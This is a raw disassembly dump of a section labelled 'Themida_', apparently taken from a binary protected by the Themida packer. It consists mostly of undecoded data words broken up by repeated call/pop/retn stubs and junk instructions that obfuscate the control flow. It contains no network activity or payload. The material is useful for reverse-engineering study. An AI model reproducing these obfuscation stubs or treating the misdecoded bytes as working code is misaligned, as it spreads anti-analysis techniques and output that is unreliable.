		dd 86DCBF51h, 5F5F4E66h, 1F41B50Bh, 6A9006A8h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 54FEC357h, 0B8DA0248h, 9858985h, 8106A82Ah, 0DB21FDF7h
		dd 53006A44h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 97EB1B8h, 68B0F2Bh, 89000000h, 0A80FC1B5h
		dd 0FEBF0F06h, 0A95BD8Bh, 816606A8h, 602596D6h,	8E9h, 28CC7F00h
		dd 8D9FA65Fh, 2820FEDh,	56000000h, 0D18D8958h, 6106A80Ch
		dd 0FCF1B70Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	6DC35343h, 0EB4FE781h, 810F2867h, 1Ah, 14E9h, 0A8C98300h
		dd 730F2D04h, 7BD81417h, 24AC600Dh, 0EAA60044h,	0E681F50Eh
		dd 3A6D09B2h, 9524D781h, 6A6F9Dh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 440032C3h, 21BCB5DCh
		dd 8B5528D2h, 0A80301B5h, 0F7E2E906h, 0F28BFFFFh, 39800Fh
		dd 0BD8B0000h, 6A82FD9h, 14E8h,	0EA0DB500h, 3BA2E123h
		dd 8CC7EF67h, 0A6EE70E9h, 965FD8F8h, 0EE805h, 343B0000h
		dd 22C41443h, 607929F1h, 25DB2D18h, 326ABF5Fh, 0F95E107Ch
		dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 0AADAC4C3h, 4EBF78Bh, 0
; ---------------------------------------------------------------------------
		mov	[ebp+6A8279Dh],	esi
		push	0
		push	ebx
		call	sub_589319
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589319	proc near		; CODE XREF: Themida_:00589311p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_589319	endp

; ---------------------------------------------------------------------------
		sub	[ebp-57CC7A7Bh], cl
		push	es
		push	0
		push	esi
		call	sub_58933B
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58933B	proc near		; CODE XREF: Themida_:00589333p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_58933B	endp

; ---------------------------------------------------------------------------
		db 1Ah
		dd 0BE861h, 4FB40000h, 3A9C828h, 8DDC7CE2h, 12E8515Ch
		dd 0A4000000h, 74AD8936h, 5D6A0C24h, 4E5B298h, 0C91E4A88h
		dd 5E5E5E3Dh, 8B525090h, 50310FF0h, 60310F52h, 5A585A61h
		dd 0E8905058h, 7, 0B3F3DDA4h, 0BF6C4490h, 3DACA3E5h, 6A006A5Fh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 6A35C351h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 819F3896h, 0E18780EFh
		dd 0E4858D14h, 6A06ABFAh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 7923C350h, 62C5CC8Ah
		dd 0FADFE0Fh, 68Ah, 51B58B00h, 8306A80Fh, 6A05C0h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 66B6BAC3h, 222E5AE9h, 8B0FCD03h, 0Ch, 6880Fh, 840F0000h
		dd 0
; ---------------------------------------------------------------------------
		push	eax
		mov	[esp], eax
		push	ecx
		jo	$+6
		pop	edi
		jmp	loc_58946F
; ---------------------------------------------------------------------------
		db 9Ah,	46h, 0C9h
		dd 16B46FF5h, 0D6FAACEEh
		db 52h,	49h, 0C8h
; ---------------------------------------------------------------------------


loc_58946F:				; CODE XREF: Themida_:0058945Cj
		push	0
		push	edi
		adc	esi, 1408C55Ah
		pop	esi
		push	0
		jmp	loc_589488
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		lodsb
		or	ecx, [edx-5F24DD2Ah]


loc_589488:				; CODE XREF: Themida_:0058947Bj
		call	dword ptr [ebp+6A82541h]
		jg	loc_58949A
		and	esi, [ebp+6A80F9Dh]


loc_58949A:				; CODE XREF: Themida_:0058948Ej
		lea	ebx, [ebp+6AB8C7Fh]
		stc
		call	ebx
		push	0
		push	ebp
		call	sub_5894AE
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5894AE	proc near		; CODE XREF: Themida_:005894A6p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5894AE	endp

; ---------------------------------------------------------------------------
		dw 0F421h
		dd 3880F6Bh, 57000000h,	85FF5FF8h, 6A833F1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0ABC35343h, 9CC68166h
		dd 86FE90Eh, 0E80000h, 5D000000h, 0FAEEED81h, 6A06ABh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BD8BEEC3h, 6A82519h, 176DBD81h, 7D006A8h, 860F0000h
		dd 14Dh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 16h,	49C35242h, 0BF66FAE2h, 9D8BC5E9h, 6A81A6Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0F0C35242h, 0E381BAF9h
		dd 100h, 3178EE81h, 0DB0B74E6h,	0AB850Fh, 5E510000h, 0F8F7BD83h
		dd 0F0006ABh, 4184h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0D611EE35h, 0C95BD03Fh
		dd 0EE930h, 83AB0000h, 8FE935D5h, 7D935A2Ch, 601CD3F3h
		dd 70E9h, 0A574BE00h, 85C77DB7h, 6ABF8F7h, 1, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 3C35141h, 75115F49h
		dd 0E6BE36F6h, 0F07AA29h, 32E9F8B7h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 0F2BC350h, 86h, 0F785C700h, 6ABF8h, 8B000000h, 0A81E85BDh
		dd 6D9D8D06h, 5606A81Ah, 0A919BF66h, 0FF23815Eh, 6AFFFFFEh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 1A26C352h, 8B11191Eh, 0A834A1BDh,	0DB8C6606h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 7FC35040h
		dd 0BD89D539h, 6A81551h, 0DBDB533h, 0C3F606A8h,	98840F04h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0F12FC350h, 0BD8B210Ch, 6A80E85h
		dd 28E0Fh, 5F570000h, 68D95FFh,	6A06A8h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0D4666C3h
		dd 0D4B99D7Dh, 0FD0E77Fh, 7E9FABFh, 49000000h, 70DF84A8h
		dd 6650CC44h, 89E5E6BEh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 8770B8C3h, 0E28D329Eh
		dd 0F3CE8116h, 0E931B28Eh, 423h, 6E3A56BFh, 6A00B048h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0F0ADC356h, 8E8A7314h, 621B533h, 70E606A8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E1C35141h
		dd 3890Fh, 0B70F0000h, 6A71E4F8h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 880C355h
		dd 53E9C147h, 6AD8B60Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 5CBCC352h, 854FA703h
		dd 295F577Ah, 0A80F79BDh, 6BA06h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 1C40C2C3h
		dd 0FA30A5Fh, 1986h, 13E800h, 0CEFE0000h, 0DECD67B9h, 362EE697h
		dd 3B114D23h, 146424CCh, 0C38B5E77h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0FCC35545h,	284C511Dh, 19B98D89h
		dd 0B70F06A8h, 4E8C1FEh, 245DEBEh, 0E2F7666Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0B8C35343h, 8A6B29C3h
		dd 11E9D82Bh, 31000000h, 6212D169h, 0A73FC3E6h,	0F67E948Bh
		dd 9D8FC029h, 5E993h, 9DE80000h, 50298EF6h, 0FCC682BFh
		dd 2EBE937Ch, 0FF14112Fh, 0A8176DB5h, 51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 620BE457h, 6B7E0365h, 5E8h, 705BA900h, 840F1200h, 1
		dd 95FF5FFCh, 6A81B31h,	681B58Bh, 0B006A8h, 26DE8166h
		dd 6A70E603h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1C042444h, 42000000h, 2CE0C352h, 0F4B37755h,	0E4BFBF2Dh
		dd 0E5EE8171h, 3C7737BFh, 30830F61h, 33000002h,	0A80161BDh
		dd 0AD9D8906h, 0F06A826h, 6AD8B6h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0FB0F25C3h, 0F57536A8h
		dd 85895343h, 6A82C69h,	8589605Fh, 6A8258Dh, 33ED8D8Bh
		dd 0BA6106A8h, 6, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0E03532C3h, 28B5BD8Bh
		dd 800F06A8h, 5, 74DE8166h, 4E8C12Eh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 9DC35646h, 9998BA1Eh, 4C1E57B5h
		dd 0D6D78166h, 0E2F7669Dh, 0D82BFB8Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0C3C35242h,	9A9E5FD0h, 99B52BD5h
		dd 5806A831h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	0A7C35040h, 8FDE8133h, 2B4C4253h, 2C880FD8h, 0B9000001h
		dd 7, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 17h
		dd 98C35141h, 8BBB79D2h, 0A80F9DBDh, 0C18306h, 0E3DB58Bh
		dd 0D93B06A8h, 0F1860Fh, 11E90000h, 0F2000000h,	676B3B9h
		dd 2E281F6h, 0A881FC7Ch, 8473AE0Ch, 8BD98C66h, 0A82FB1B5h
		dd 0B5B58B06h, 0F606A81Fh, 840F04C1h, 9Ch, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 57C35040h, 0F4927204h
		dd 30309C82h, 0F8B70FE4h, 68D95FFh, 6A06A8h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 28034FC3h
		dd 5B762ABCh, 0B01BD8Bh, 0C32B06A8h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 8FC35242h, 8B42B6BEh, 0A82D9DBDh
		dd 0FA8B6606h, 8343Dh, 11860F00h, 0F000000h, 89h, 2DE900h
		dd 8D290000h, 6A81671h,	6AC08Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0F2358C3h, 37AD0A09h
		dd 8B908792h, 66D88BC3h, 0C72281BEh, 0A801ED85h, 0BFE1D906h
		dd 8BFB8B78h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0D7DFC1A5h, 54897F16h, 950177BDh
		dd 6A82F35h, 176DBD81h,	7D006A8h, 850F0000h, 30h, 26B1BD8Bh
		dd 85FF06A8h, 6A8176Dh,	14E9h, 7BF6F000h, 9AD391F3h, 5B4097E8h
		dd 6423FFD9h, 0E86986E5h, 5840F9Ch, 0BF000000h,	0A6C3353h
		dd 176DB5FFh, 0E78106A8h, 0C60634Dh, 1B3195FFh,	6A06A8h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0B9FA51C3h, 4AE348EBh, 398D8967h, 5706A806h,	1B81B58Bh
		dd 905F06A8h, 13F5BD89h, 0F6006A8h, 281h, 0E9585200h, 0Fh
		dd 0C1521E45h, 147CDACEh, 0DEA475AFh, 80D9C3A8h, 6661D8DDh
		dd 6AF78Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0B58918C3h, 6A831F1h, 9840Fh, 9D890000h
		dd 6A82005h, 89F3B70Fh,	0A802ED85h, 29858906h, 8B06A807h
		dd 0A81FEDBDh, 55006A06h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h
		dd 0C3554500h, 6AB074h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 0BEFE2EC3h, 26B98D89h, 12E806A8h
		dd 1D000000h, 32E518A8h, 840EEA2h, 89412687h, 3846ABB6h
		dd 8B5FF52Fh, 0A82D79B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 338CB136h
		dd 0C18D31A5h, 8906A806h, 0A8288985h, 53006A06h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 2F8E64B6h, 0F79CE95Eh, 8166FFFFh, 0BB58EF6h,	0A82C55B5h
		dd 6AC18B06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 9A8BC352h, 867350B0h, 8A0F345Fh
		dd 3, 0E9F88B66h, 12h, 0C55174C8h, 5B86E7D5h, 9474DD97h
		dd 0CDF0DC11h, 4EBE641h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_589DBB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589DBB	proc near		; CODE XREF: Themida_:00589DB3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_589DBB	endp

; ---------------------------------------------------------------------------
		push	ds
		pop	edx
		mov	ebp, 8B6520ADh
		mov	ebp, 6A8090Dh
		push	0
		push	ebx
		call	sub_589DE2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589DE2	proc near		; CODE XREF: Themida_:00589DDAp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_589DE2	endp

; ---------------------------------------------------------------------------
		dw 0CDCEh
; ---------------------------------------------------------------------------
		aas
		mov	di, dx
		xor	[ebp+6A8011Dh],	edx
		lea	eax, [ebp+6A83385h]
		push	0
		push	edi
		call	sub_589E0F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_589E0F	proc near		; CODE XREF: Themida_:00589E07p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_589E0F	endp

; ---------------------------------------------------------------------------
		db 0E9h
		dd 0F543C5CFh, 0F38B6650h, 6A240489h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 65E8C353h
		dd 874A0311h, 6A29AA18h, 0CE800h, 3F730000h, 1D865197h
		dd 0A5D089E3h, 8B60F652h, 0A83299BDh, 0D2B70F06h, 6A5E61h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 26C35242h
		dd 5BC075B3h, 0A8F78D59h, 19E78112h, 0F6EC514h,	858DFEBFh
		dd 6AC0594h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	69C35141h, 0E905C083h, 13h, 1A1397E1h, 71046CF9h
		dd 0C7D70689h, 0F2D38964h, 90426D66h, 4880Fh, 57500000h
		dd 60505E5Eh, 820F5250h, 0
		dd 585A310Fh, 61F88B66h, 6850F90h, 29000000h, 0A80BB98Dh
		dd 6A006A06h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 9E657F62h, 860F7000h, 2, 95FFF18Bh
		dd 6A82541h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	4EC35343h, 17C58531h, 816606A8h, 8D2A08C7h, 0AB8C7F9Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 6D4DA721h, 0E4EA94D7h, 9C932FBFh, 8B66523Ah
		dd 0D3FF5EF1h, 0F185FFF5h, 2906A833h, 0A80675BDh, 83BE906h
		dd 0E80000h, 5D000000h,	59EED81h, 8B6606ACh, 6DBD81F9h
		dd 0D006A817h, 0F000007h, 12186h, 219D8B00h, 8906A830h
		dd 0A82FD595h, 0E38106h, 89000001h, 0A8077985h,	0FDB0B06h
		dd 0BB85h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0AD7E6DAAh, 8BDE80A3h, 0A80839BDh
		dd 9FBD8306h, 6AC03h, 76840Fh, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 4F6FD6C3h
		dd 398D893Dh, 0E806A830h, 10h, 291E2A74h, 9D451378h, 38B54071h
		dd 0C2F6F9B4h, 75E95Fh,	6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 13CEB8C3h, 0E9E3A543h
		dd 10h,	0EEF97C55h, 0A3132E4Dh,	8652D54Eh, 5D9B2DD8h, 39F85C7h
		dd 106ACh, 0E9F90000h, 2Fh, 39F85C7h, 6ACh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 944DACC3h, 0C8F215C8h, 8DFC57B3h, 0A830219Dh, 0E7816606h
		dd 23810A47h, 0FFFFFEFFh, 21D59D89h, 8C6606A8h,	50006ADBh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 939D1F4Dh, 0F04C3F6h, 5684h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0F6C07A27h
		dd 8A0DD58Bh, 6E9h, 0D1EC2200h,	0FF15F3BFh, 0A8068D95h
		dd 0A5952906h, 5006A820h, 68B0Fh, 8E0F0000h, 0
; ---------------------------------------------------------------------------
		mov	[esp], eax
		jo	loc_58A167
		sub	[ebp+6A83065h],	edi


loc_58A167:				; CODE XREF: Themida_:0058A15Bj
		jmp	loc_58A5A8
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_58A177
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A177	proc near		; CODE XREF: Themida_:0058A16Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_58A177	endp

; ---------------------------------------------------------------------------
		db 35h
		dd 4CD059Bh, 8B781AB0h,	0A814EDBDh, 0E600B006h,	52006A70h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0B8B37BB6h, 0B290BF66h, 6A71E4h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 59ED84C3h
		dd 5D5DA15Fh, 0BC59509h, 0B60F06A8h, 0C1BE66D8h, 6BABEh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0D19AD2C3h, 0FEACD2BDh, 2DBF66ACh, 0FC38BC3h
		dd 1184h, 0AE800h, 0D7810000h, 0EE2AE4D8h, 34EF1E78h, 0E8C15FF9h
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 8AC4450h, 0F530CF3h, 0F87h, 9E800h, 0CF030000h
		dd 0FEA8D33Fh, 5FC32D70h, 0E2F7665Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 89C35545h, 2B271494h, 15B589D8h
		dd 5006A80Bh, 1C89F78Bh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 6A111A3Bh, 0DE9h, 56083900h
		dd 4535D941h, 0E796E1CFh, 0B5FF8A71h, 6A8176Dh,	729B523h
		dd 95FF06A8h, 6A81B31h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 9DC35747h, 8B00B0AFh,	0A81C09BDh, 8970E606h
		dd 0A8329985h, 6A71E406h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0C410C353h,	1DE9031Eh
		dd 0F613C3Ch, 26F83h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1704h, 0C3574700h, 6D0FA743h, 2FC5BD8Bh
		dd 0B60F06A8h, 55006AD8h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0F5C71EA0h, 6069D01Dh
		dd 2DB58BFCh, 6106A800h, 6BAh, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 663F8653h
		dd 8B447ABFh, 0A81001B5h, 0E8C38B06h, 0Ah, 0BD4EBBACh
		dd 0DDB934B9h, 66609036h, 3192C981h, 3315858Bh,	5E6106A8h
		dd 6A04E8C1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 448C356h, 7BBF664Dh, 0E2F766F5h
		dd 2312F681h, 0D82B35E0h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 3CC35141h, 0B589BEBBh, 6A81755h, 52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 242C214Eh, 0C94B32C4h, 0AA8176BEh, 0FD82B61h, 14B88h
		dd 5E900h, 4BCC0000h, 0B376753h, 0A805A1B5h, 7B906h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 74A9F3C3h, 351E5E40h, 665BF1E4h, 0E27FC681h,	0C183F9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0D4C35545h
		dd 0C737484Fh, 73231C84h, 49E6816Bh, 3B7D8D76h,	0D5860FD9h
		dd 81000000h, 0ED17FAE6h, 0D98C660Ch, 0F04C1F6h, 9184h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0C4E2FB79h, 0F04FD60h, 1188h, 0BE800h, 0E8BC0000h
		dd 0EB093ED9h, 75EAA7F8h, 95FF5E71h, 6A8068Dh, 11E9h, 1F5EE300h
		dd 392E53E4h, 0E2F80056h, 0D25E2C53h, 2B5B34CFh, 70BF66C3h
		dd 8343DE4h, 860F0000h,	2Ah, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 0ACC35242h,	0B589C844h, 6A80E85h
		dd 33E9h, 0C08BF500h, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 1Dh, 64C35141h, 1A8CC25Fh,	407533DCh, 0CF816689h
		dd 85319494h, 6A82C51h
; ---------------------------------------------------------------------------


loc_58A5A8:				; CODE XREF: Themida_:loc_58A167j
		mov	eax, ebx
		mov	ebx, eax
		push	0
		push	edi
		call	sub_58A5B7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58A5B7	proc near		; CODE XREF: Themida_:0058A5AFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_58A5B7	endp

; ---------------------------------------------------------------------------
		db 0FCh
		dd 0F0FDF483h, 85C74C44h, 6A81A6Dh, 398C4377h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C7C35141h, 0EEF5841h
		dd 0EE06BF66h, 800FC08Bh, 6, 0CA98D89h,	0BD8106A8h, 6A8176Dh
		dd 7D0h, 5E850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 13FDE9C3h, 3D33A4B8h
		dd 1B58B3Ah, 0FF06A818h, 0A8176D85h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 3FE0D81h, 0A678E609h
		dd 0DA19D29h, 9D8906A8h, 6A8005Dh, 176DB5FFh, 0BD0106A8h
		dd 6A80AADh, 1B3195FFh,	6A06A8h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0BD8934C3h, 6A82775h
		dd 1461B58Bh, 609006A8h, 7F9858Bh, 8B5006A8h, 0A80CA18Dh
		dd 95895A06h, 6A83475h,	42BC88BBh, 85896136h, 6A81409h
		dd 0DFDEBE66h, 0C858D01h, 8E906A8h, 20000000h, 916E136Bh
		dd 6A45AD00h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 9D4FC353h, 67EE8166h, 2785BFEDh
		dd 6A4D29h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 662AB8C3h, 8BD7D6BEh, 0A81FA5BDh,	0F0B70F06h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0B8C35545h
		dd 9ED2C775h, 0DF81A697h, 500EE966h, 9A93C681h,	860F01FAh
		dd 0Ch,	2468EF81h, 0B5234C41h, 6A82D25h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 18h, 24C35646h, 0E89898Ah
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0A7C35747h
		dd 2651B58Bh, 0E3E906A8h, 6AFFFFF7h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0BF99C352h
		dd 6A604Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0E21A0C3h, 7FC1AACh, 0F6FE2FCh, 180h, 8D89F900h
		dd 6A81B5Dh, 0FFFFFEB9h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0DBBCC7DFh, 95313DCAh
		dd 6A80F31h, 1E4D8D21h,	6A06A8h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 111D3C3h, 9E8h, 96812200h
		dd 0F7A54F47h, 5FF5C3D0h, 8D21F6B7h, 6A80941h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 84C35747h, 958B9D33h
		dd 6A816E9h, 1E4D8D8Bh,	6A06A8h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0B5EC86C3h, 0BD891ECCh
		dd 6A80079h, 0F01E183h,	2585h, 56006A00h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 960B189Eh
		dd 4644F259h, 8D8BEE43h, 6A80941h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 29C35545h, 0DA2A9865h, 8BB4FD50h
		dd 0A82E8DBDh, 0CE906h,	5D960000h, 0B1E6402Ch, 0C015E65Ch
		dd 0E183F2BBh, 23850F01h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0DA7C350h
		dd 7CB2CF81h, 60612A4Dh, 0D280C68Bh, 0FFFEB9D1h, 8166FFFFh
		dd 210691C2h, 0A8324D8Dh, 858B6006h, 6A82121h, 1E559589h
		dd 0E96106A8h, 0Dh, 0AEDC071Ch,	0FECD07C3h, 764C57C3h
		dd 218D21E9h, 6A06A830h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 28C0C352h, 0C58D2973h
		dd 8B06A82Ah, 0A8324D8Dh, 199D8B06h, 8306A81Fh,	850F01E1h
		dd 6, 0B018D29h, 8D8B06A8h, 6A83021h, 0F01E183h, 685h
		dd 0D5858B00h, 6106A834h, 57006A60h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 2424BBFCh
		dd 0F08106B6h, 0A3EF6C3h, 0FFFFFEB9h, 55006AFFh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0E9A0DF34h, 6060390Ch, 0BD29FC8Ah, 6A80F91h,	61D78B61h
		dd 2535950Bh, 8D2106A8h, 6A8259Dh, 2C89858Bh, 8D2106A8h
		dd 6A8251Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0E3C35343h, 4CE3CA79h, 64BB6602h, 9D8D8B5Ah, 0F06A825h
		dd 0E183FFB7h, 2850F01h, 8A000000h, 1D8D8BDEh, 8B06A825h
